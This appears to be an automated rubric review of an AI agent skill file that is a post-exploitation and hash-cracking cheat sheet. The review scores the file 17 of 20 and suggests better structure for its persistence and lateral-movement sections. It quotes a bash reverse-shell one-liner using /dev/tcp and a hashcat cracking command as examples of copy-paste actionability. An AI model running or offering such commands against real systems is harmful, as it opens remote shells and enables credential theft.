Content
86%Weight 40%Scale 1-5Reviews the quality of instructions and guidance provided to agents. Good implementation is clear, handles edge cases, and produces reliable results.
The content is a token-efficient, highly actionable reference, but its workflow sequencing is uneven and it is presented as a monolithic block rather than a navigable overview with separate reference files.
Suggestions
Add explicit step ordering and validation checkpoints (e.g., verify-before-spray) to the destructive/batch sections like persistence and lateral movement, not just the RDP block.
Break the single code block into headed sections and move the long hashcat mode table / tool lists into a separate reference file, signaling it as a one-level-deep reference for better progressive disclosure.
Add a short overview sentence at the top of the body orienting the reader to the two main sections (post-exploitation vs. crypto/cracking) so navigation is clear.
| Dimension | Reasoning | Score |
|---|---|---|
Conciseness | An extremely lean cheat sheet with no concept over-explanation or padding; it assumes Claude's competence and every token (tool names, flags, modes) earns its place. | 5 / 5 |
Actionability | Provides copy-paste-ready commands and concrete tooling throughout — 'bash -i >& /dev/tcp/IP/4444 0>&1', 'hashcat -m <mode> hash wordlist -r rules/best64.rule', 'padbuster', 'hashpump' — covering the common cases with executable guidance. | 5 / 5 |
Workflow Clarity | The RDP credential block has an explicit validate-baseline-then-confirm loop and persistence entries reference a rollback ledger, but most sections are unordered checklists lacking explicit sequencing or validation checkpoints for destructive/batch ops. | 4 / 5 |
Progressive Disclosure | The body is a single monolithic code block split only by two '===' section markers, with no bundle files and no clearly signaled one-level-deep references; the inline cross-skill mentions are not navigable file references. | 3 / 5 |
Total | 17 / 20 Passed |